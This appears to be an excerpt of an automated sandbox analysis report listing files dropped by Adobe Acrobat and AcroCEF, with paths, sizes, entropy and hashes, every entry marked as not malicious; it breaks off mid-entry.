SHA-256: | 8A0614D1A03BAE72B4549FCB93251DA74AA854525F1CF8FE0848B8615A46D61B |
SHA-512: | E37CD6923B25CC29388C0DF6F25BB5C5FC7EDBE2F98057D1D40DB8A2750749DE176D4266C7CA1F581884A5E52968054741489AA2C5CA60610CEB2075C3FAB315 |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\svchost.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 16384 |
Entropy (8bit): | 0.07689182371624734 |
Encrypted: | false |
SSDEEP: | 3:W8YePeuRQt+luGjjn13a/mjUtll/AllcVO/lnlZMxZNQl:dzPUt+luGj53qmwtXAOewk |
MD5: | A6BC34BAC74EEF7372593BB83B19B42F |
SHA1: | 99DBF1E64B9C7AB27F51D1C892892944D727BA13 |
SHA-256: | 3ACDDE1FCED1E6F53692F4B4FC947495B5D7530284FB4A60AF09A7EE845CA988 |
SHA-512: | C0CBDEC9EB09F9E07689B13667D7CB70887A7141BB53F8EA955EFDA11E3462FD3AF566EE2E48955A7CFB4E8CBE8CB7762E3FCDCC7A483CD36AF13F3C295B2898 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 292 |
Entropy (8bit): | 5.086979139329871 |
Encrypted: | false |
SSDEEP: | 6:iO4qVhpM+q2Pwkn2nKuAl9OmbnIFUtSqVGZmwsqVJMVkwOwkn2nKuAl9OmbjLJ:7nhi+vYfHAahFUtZG/LCV5JfHAaSJ |
MD5: | F68130E337AA949FFCFBA159C49895AC |
SHA1: | EC739E4306D73E1E05568D2A66DD4D8E9F23C2AC |
SHA-256: | 62763588FFEB1C1D310338F715A4EFF941D9D4388DC1810A5AF579D4DA3B3B15 |
SHA-512: | 71CB76450940B91154DB0333E25C5C97FA10624F89D763758097ABACB74BBEF7E604A1B284F7AC71E46AA4E4B27724443DEB3B68CE052ACADD42149191514551 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 292 |
Entropy (8bit): | 5.086979139329871 |
Encrypted: | false |
SSDEEP: | 6:iO4qVhpM+q2Pwkn2nKuAl9OmbnIFUtSqVGZmwsqVJMVkwOwkn2nKuAl9OmbjLJ:7nhi+vYfHAahFUtZG/LCV5JfHAaSJ |
MD5: | F68130E337AA949FFCFBA159C49895AC |
SHA1: | EC739E4306D73E1E05568D2A66DD4D8E9F23C2AC |
SHA-256: | 62763588FFEB1C1D310338F715A4EFF941D9D4388DC1810A5AF579D4DA3B3B15 |
SHA-512: | 71CB76450940B91154DB0333E25C5C97FA10624F89D763758097ABACB74BBEF7E604A1B284F7AC71E46AA4E4B27724443DEB3B68CE052ACADD42149191514551 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 336 |
Entropy (8bit): | 5.186292309431913 |
Encrypted: | false |
SSDEEP: | 6:iO4qVrMq2Pwkn2nKuAl9Ombzo2jMGIFUtSqVyZmwsqVwkwOwkn2nKuAl9Ombzo23:7nAvYfHAa8uFUtZy/Lw5JfHAa8RJ |
MD5: | F0D2BEE0181EC690977D738300BBF755 |
SHA1: | BEE5227FA2C9E94A7E624EC398714D94A36A1241 |
SHA-256: | 856BF288699FBF9344B8E10A17AD35F0238CFB9A2955E42C3BB3B43379E14340 |
SHA-512: | A9741C0A1309282E34A9C3D7E37457664CE981A2F5C974F80C5E5C68FB74486E19B3FC428BB07D37B26DB8D51190D173B08B55D923CB62B0E613C6D4CFAFC5E4 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 336 |
Entropy (8bit): | 5.186292309431913 |
Encrypted: | false |
SSDEEP: | 6:iO4qVrMq2Pwkn2nKuAl9Ombzo2jMGIFUtSqVyZmwsqVwkwOwkn2nKuAl9Ombzo23:7nAvYfHAa8uFUtZy/Lw5JfHAa8RJ |
MD5: | F0D2BEE0181EC690977D738300BBF755 |
SHA1: | BEE5227FA2C9E94A7E624EC398714D94A36A1241 |
SHA-256: | 856BF288699FBF9344B8E10A17AD35F0238CFB9A2955E42C3BB3B43379E14340 |
SHA-512: | A9741C0A1309282E34A9C3D7E37457664CE981A2F5C974F80C5E5C68FB74486E19B3FC428BB07D37B26DB8D51190D173B08B55D923CB62B0E613C6D4CFAFC5E4 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6dd5e37c-90da-4474-ba27-8a67193b793d.tmp
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | modified |
Size (bytes): | 475 |
Entropy (8bit): | 4.963662423205105 |
Encrypted: | false |
SSDEEP: | 12:YH/um3RA8sqVDsBdOg2Hrcaq3QYiubInP7E4T3y:Y2sRdsEEdMHS3QYhbG7nby |
MD5: | C04AE19F4FEE9EE16883F68971EBC80F |
SHA1: | 60C2E139B2DCB6AFF6C365B5E91297E0A4E8E1CF |
SHA-256: | 5B20D09D71920C51508566E8F74A83D43F946D1953BAD691FCE3D2F1A3F139AC |
SHA-512: | 41E7D31977CD30426F1D2A19013A4DA109938056C3C9A3359A56E0D0379FF8E58A66A6FA37B2B53906C22AD459B7465FB27F74C7833097D4ED950E341EA95598 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 475 |
Entropy (8bit): | 4.963662423205105 |
Encrypted: | false |
SSDEEP: | 12:YH/um3RA8sqVDsBdOg2Hrcaq3QYiubInP7E4T3y:Y2sRdsEEdMHS3QYhbG7nby |
MD5: | C04AE19F4FEE9EE16883F68971EBC80F |
SHA1: | 60C2E139B2DCB6AFF6C365B5E91297E0A4E8E1CF |
SHA-256: | 5B20D09D71920C51508566E8F74A83D43F946D1953BAD691FCE3D2F1A3F139AC |
SHA-512: | 41E7D31977CD30426F1D2A19013A4DA109938056C3C9A3359A56E0D0379FF8E58A66A6FA37B2B53906C22AD459B7465FB27F74C7833097D4ED950E341EA95598 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 4320 |
Entropy (8bit): | 5.254883436081949 |
Encrypted: | false |
SSDEEP: | 96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7ieOb:etJCV4FiN/jTN/2r8Mta02fEhgO73goa |
MD5: | 5118BFFA9853F77476C82F15098C49C8 |
SHA1: | 4151AD247EF831891FDC96E90842F1EC33CB3E03 |
SHA-256: | C0CADF4A53FF6A3839920711D3B266A19282FA47802EA468FA0CF477B8B4F7F1 |
SHA-512: | 100DC39B89E6E604851997F8E55A8D3F7359F1D901B0A9BBA3697500F27AB482622DCDD52D903F04E33E27A23FE16A06969814407BB147C74C57F22931C625C8 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 324 |
Entropy (8bit): | 5.20583075991921 |
Encrypted: | false |
SSDEEP: | 6:iO4qV1Iq2Pwkn2nKuAl9OmbzNMxIFUtSqV1NRXZmwsqV1NRFkwOwkn2nKuAl9Omk:7n1IvYfHAa8jFUtZ1NRX/L1NRF5JfHAo |
MD5: | F8E392C93A6639A0605413C41F396099 |
SHA1: | 089AB248B5778296618A8DD73646B42603466582 |
SHA-256: | 8BFAC32460A67D3514788FDA5BDEBD89C5DE235F26702A64F7C521A1920500A4 |
SHA-512: | B406E528B54B2594D4D5FBAFA059D83CF6AB18E4059A4766F3492536DF29CDD3B3335323C99F3DD78ADB6B9F501430F92C6B41A899238EE1F0CC79A147E3C64E |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 324 |
Entropy (8bit): | 5.20583075991921 |
Encrypted: | false |
SSDEEP: | 6:iO4qV1Iq2Pwkn2nKuAl9OmbzNMxIFUtSqV1NRXZmwsqV1NRFkwOwkn2nKuAl9Omk:7n1IvYfHAa8jFUtZ1NRX/L1NRF5JfHAo |
MD5: | F8E392C93A6639A0605413C41F396099 |
SHA1: | 089AB248B5778296618A8DD73646B42603466582 |
SHA-256: | 8BFAC32460A67D3514788FDA5BDEBD89C5DE235F26702A64F7C521A1920500A4 |
SHA-512: | B406E528B54B2594D4D5FBAFA059D83CF6AB18E4059A4766F3492536DF29CDD3B3335323C99F3DD78ADB6B9F501430F92C6B41A899238EE1F0CC79A147E3C64E |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 86016 |
Entropy (8bit): | 4.444853657867172 |
Encrypted: | false |
SSDEEP: | 384:SeQci5t+iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:wRs3OazzU89UTTgUL |
MD5: | 7694448AF5EA012C4443CE3A1F30BB6A |
SHA1: | 43EEDA00AA77ED091D2410A4212AEFC379A69EAE |
SHA-256: | F0C3CC39FFFB8CD04B7B5C7B8E3D5E3C7C87D2B5C59FA09125EAD3CF8DDEC2EF |
SHA-512: | 70F88491346AEA20045BA788A5859542025C27F1DA816C91D2F3C8E195EEB6FF5AF6CD82E6B35BDF2A1F3BC9697217EC9FFE51ADD62E2B8A192998A81F7E3368 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 8720 |
Entropy (8bit): | 2.21415752482073 |
Encrypted: | false |
SSDEEP: | 48:7M2MnC6IvqvmFTIF3XmHjBoGGR+jMz+Lh1:7Mnov79IVXEBodRBkv |
MD5: | 4576DD85489A281A7BA529D8FA544C57 |
SHA1: | EEAA1283C585B191F43E689C4158D5B96613A0DA |
SHA-256: | 12A119EABDB92444AA748536145A1D3D6549C8E73E5AC21E01C40B34381249CE |
SHA-512: | 975DE84FDDF8BAED777B8FF05DCFED8C08DC3C2A3419C2082B8E992298929FC44A6ADEDD8BCC30185CC02910F5C6EFF30EC37F92B1E8DD34BD63E719BD80E3C9 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1391 |
Entropy (8bit): | 7.705940075877404 |
Encrypted: | false |
SSDEEP: | 24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1 |
MD5: | 0CD2F9E0DA1773E9ED864DA5E370E74E |
SHA1: | CABD2A79A1076A31F21D253635CB039D4329A5E8 |
SHA-256: | 96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6 |
SHA-512: | 3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 192 |
Entropy (8bit): | 2.7529698674325394 |
Encrypted: | false |
SSDEEP: | 3:kkFklpNRMtfllXlE/HT8kE1NNX8RolJuRdxLlGB9lQRYwpDdt:kKxeT837NMa8RdWBwRd |
MD5: | 1CE9A199A00D96ED4CD2A8416F279257 |
SHA1: | BB480EC0B3DBFA381A800DB91206C5B43F817361 |
SHA-256: | 317EB8C34B0A06A71CB9AB6D7F4A19E7AACEADC9D61F1E7CD893D81BBEDF3826 |
SHA-512: | 6C00BDF41486A3734C0F79FD263C01E675628F82362C48EE6491D1B84FF4A17BEDD24C6FC0A64564ACF943310FB99EACC45613AC30D2916EF933DBE7B503AAF7 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1233 |
Entropy (8bit): | 5.233980037532449 |
Encrypted: | false |
SSDEEP: | 24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap |
MD5: | 8BA9D8BEBA42C23A5DB405994B54903F |
SHA1: | FC1B1646EC8A7015F492AA17ADF9712B54858361 |
SHA-256: | 862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C |
SHA-512: | 26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1233 |
Entropy (8bit): | 5.233980037532449 |
Encrypted: | false |
SSDEEP: | 24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap |
MD5: | 8BA9D8BEBA42C23A5DB405994B54903F |
SHA1: | FC1B1646EC8A7015F492AA17ADF9712B54858361 |
SHA-256: | 862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C |
SHA-512: | 26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1233 |
Entropy (8bit): | 5.233980037532449 |
Encrypted: | false |
SSDEEP: | 24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap |
MD5: | 8BA9D8BEBA42C23A5DB405994B54903F |
SHA1: | FC1B1646EC8A7015F492AA17ADF9712B54858361 |
SHA-256: | 862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C |
SHA-512: | 26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 10880 |
Entropy (8bit): | 5.214360287289079 |
Encrypted: | false |
SSDEEP: | 192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp |
MD5: | B60EE534029885BD6DECA42D1263BDC0 |
SHA1: | 4E801BA6CA503BDAE7E54B7DB65BE641F7C23375 |
SHA-256: | B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856 |
SHA-512: | 52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 10880 |
Entropy (8bit): | 5.214360287289079 |
Encrypted: | false |
SSDEEP: | 192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp |
MD5: | B60EE534029885BD6DECA42D1263BDC0 |
SHA1: | 4E801BA6CA503BDAE7E54B7DB65BE641F7C23375 |
SHA-256: | B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856 |
SHA-512: | 52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 295 |
Entropy (8bit): | 5.360552142551944 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJM3g98kUwPeUkwRe9:YvXKXOMkZc0vVfnGMbLUkee9 |
MD5: | 4133F68380FC19049B8B395EA64C4A25 |
SHA1: | DE10CB92471D0D5EC266BB82F1C2E2ACCCCA0B88 |
SHA-256: | 7B9818BFD15027980A0E04CE595DF4C01A3833680090C4B60183DDDFE331F391 |
SHA-512: | 688EB335136EACCFF25042886F804B4571A028DA6A6FCF91D711C6297400C2010FD1E0AEF7864E777B4296FFA065A162049B57F02AC27B65B081CCCD8BAF71FF |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 294 |
Entropy (8bit): | 5.310582129734903 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJfBoTfXpnrPeUkwRe9:YvXKXOMkZc0vVfnGWTfXcUkee9 |
MD5: | 08966B27CB8E003014FCBC7B000A3892 |
SHA1: | 2E77FF8E30416BBEBEE7EF3EEB1E5C9964F5FE95 |
SHA-256: | 806C7353B06C2983ECCB73493991889ACB91710572C99A448CDDA683B87CFA30 |
SHA-512: | 26A3E2FDC4C644E7774B0C4054F69B7BF5465B01F1773A4E7CCEE4828F572C51432AF7810C0E6231855BB9C66E720F8028590AE3DD09639F90FD16D34CE80858 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 294 |
Entropy (8bit): | 5.289403204780502 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJfBD2G6UpnrPeUkwRe9:YvXKXOMkZc0vVfnGR22cUkee9 |
MD5: | 306D259D53FAC87D1414C9A6D8A52DC7 |
SHA1: | 6D6CFC7B2AA77F9E964959789E8364D6E92BCD52 |
SHA-256: | 35BD560EEBB7EB1D1C4566AC3DE54DAB71985A917D3CDC9D8D3581B81E917995 |
SHA-512: | 8E98D67368DB9C44383FECF0128DA027E60EF9F035FCB8FB7F9CC23A090CEC35ACCD9CD90BCF0C4674D9469766B695D3B41D550F5E2C2B4F4F60F0E28E9149B7 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 285 |
Entropy (8bit): | 5.347464008614989 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJfPmwrPeUkwRe9:YvXKXOMkZc0vVfnGH56Ukee9 |
MD5: | ECFEA1DC27CAB25B44BB0A1C21410E78 |
SHA1: | 1C55152B1AB98D6F4F8AD0C28DFB16DF2F86AC67 |
SHA-256: | CB4EC8B3FFCBE675DC56ED573141B4BDACCB006C8E2717DA1E550C939BF5EE07 |
SHA-512: | F453E88FEABFD98ED61A87E648B24F94BA6C42542C8FAD5A3DB26AD46299FD563487F17841903230C29FD38F4282F3270D33C1263747088F316BE987E20077C3 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1123 |
Entropy (8bit): | 5.688336642206677 |
Encrypted: | false |
SSDEEP: | 24:Yv6XOLzvNspLgE9cQx8LennAvzBvkn0RCmK8czOCCSt:Yv1ahgy6SAFv5Ah8cv/t |
MD5: | 441091CB949557E3CF2390631D6604FF |
SHA1: | C474843F955BCE394533A4D73A0D07517717792F |
SHA-256: | E7E7E6FAB948C69D1824272760480F228C53FA2198CA99BA450AD37E042532FA |
SHA-512: | C314702BDB662B5E31553A0F6F0F9B09378A534918865562C9ACA28F1A376DB4B0A68EFBDB6584CA7637EEE91F62694D4CE4DB40AE44C747E9F660744916D899 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 289 |
Entropy (8bit): | 5.294219182143161 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJf8dPeUkwRe9:YvXKXOMkZc0vVfnGU8Ukee9 |
MD5: | 0D7EA39EFC0FA9F32133FFC5F1A3998D |
SHA1: | 5C0C37E3798CDE6DA4E089D86A0339CE8ADC0033 |
SHA-256: | C7C19F4F8A2AEAF5210DFFB9184F2FC6BEEBB423EF6D06EB33D9F795C1BF1EBF |
SHA-512: | D9D12C4841D64C0A4324220A50A6155D0F50823826F82E3E4AB5D04C424F66E7BFA6928C695C680953FA3A009EAF0C7FF41C93EFFBFE9BA7AA18AFA2DE079A77 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 292 |
Entropy (8bit): | 5.297595585621696 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJfQ1rPeUkwRe9:YvXKXOMkZc0vVfnGY16Ukee9 |
MD5: | 32C7C7B0C0B792C35213D9E4EBA9328D |
SHA1: | 659168DA38FDA80FD9DC8690C0AF3F4A7A40F0B8 |
SHA-256: | 269205A0A4459FCC3E3D62AE8EF872553C6DE5BCAA72C6EFC60818EE79DDCE5D |
SHA-512: | 8D4E8E7B1C291F5238A74D8C36C4DAF94BD158D8791AA14FD9823E6B7CC50303FFC66C0D28B98E649E256E5345E4597C8501FCD2A3FC6109715144EEA1400755 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 289 |
Entropy (8bit): | 5.304527435942625 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJfFldPeUkwRe9:YvXKXOMkZc0vVfnGz8Ukee9 |
MD5: | 043B32BDB70A9587BC15EC4382C080AD |
SHA1: | 853DF30D98EEF73ABDE3139425B128DE88489FAD |
SHA-256: | C90CDA810091F006F6A2FB6AE654B85B60BF9D2CB5EF7EBCCB6E5FA326270779 |
SHA-512: | AE60813FC6F0BA09D3F5982D736415ADB62E416A45FEFF7F28AD0AE922AABF839DBE2C98BD04DE0D233DE3F2E64ACE911E3BCFD99447636054655039E6398047 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 295 |
Entropy (8bit): | 5.319871908117042 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJfzdPeUkwRe9:YvXKXOMkZc0vVfnGb8Ukee9 |
MD5: | 7B46A79DF1D80A2A1A84916A8028526F |
SHA1: | ADB09557968935F04F81F19EC03EB5FA6E06A5D7 |
SHA-256: | 64DF3493DCF4CD9E49B9D5BB17C98306058CE89D322724749B7B4DA1E9F4F7CE |
SHA-512: | 025657FBCEF50E16A91C99424468B65FDAA0D3148E253B83C2BE2D465C70BB8261052C683C15B86A1A1E162BF46E76A339C41E0E44543330413ADC1DD1315B07 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 289 |
Entropy (8bit): | 5.300232385491907 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJfYdPeUkwRe9:YvXKXOMkZc0vVfnGg8Ukee9 |
MD5: | E37CE0D5F68A8CF20A7532D7F60D839D |
SHA1: | 15328B0451E8CE4E282EBFB496C73D4D027EAF0D |
SHA-256: | 387648C4DA665E2A7D5AC0274F825639E8FE7172A8DA26EB69FA2432360AD27A |
SHA-512: | EDFE6E84E4DB01546644F2CEAC31BC433989EA20C4970C747478ECABADE5670B5FE8AAD6F0C7B2B9A6AD10F264F9459058F850DF79F9528E578F4B58EBB01F2D |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 284 |
Entropy (8bit): | 5.286868203229114 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJf+dPeUkwRe9:YvXKXOMkZc0vVfnG28Ukee9 |
MD5: | 6715A422EFD0B0A27B084FF8419460C5 |
SHA1: | A421BB877AA5F2907D66296F1578E9C49789EB85 |
SHA-256: | 18B399C5703A2291B0FEDCE501ADA2FD75814EF675C2BA345E5B9476F94E3C7E |
SHA-512: | 16A6DDAFC6855652441644D2BEA29E97D560FB1974F7BBBA1526F200917CBAFE2FA1EA30945648BF7CB9AA05A57F03BF8BD4F0160530C9E0A7C571C1C5487529 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 291 |
Entropy (8bit): | 5.283777886014624 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJfbPtdPeUkwRe9:YvXKXOMkZc0vVfnGDV8Ukee9 |
MD5: | 4740929BB4DE12474C982BCE2BDFE02D |
SHA1: | 74059B31213910E2D8809C040CF87C8876F2D2FA |
SHA-256: | CAFF0969A325E526815318D59E336CE7B5C9E4A9E36CB56996C4D7AC41CE57B9 |
SHA-512: | F8F9781833B2E81B544BEA339B504FBC4CDF0F8858C4771C4A2AC8BF14D2385C1A72244237CA6064DED553180EAFEED0C7F54262062407E7919A989DC5336016 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 287 |
Entropy (8bit): | 5.288118174601997 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXOMSs7zVoZcg1vRcR0YufUoAvJf21rPeUkwRe9:YvXKXOMkZc0vVfnG+16Ukee9 |
MD5: | DF7EEC2A9C39C6EB759FB5EF6A9B713D |
SHA1: | DE572D7F746A6A5F9363E5853710055769E686EA |
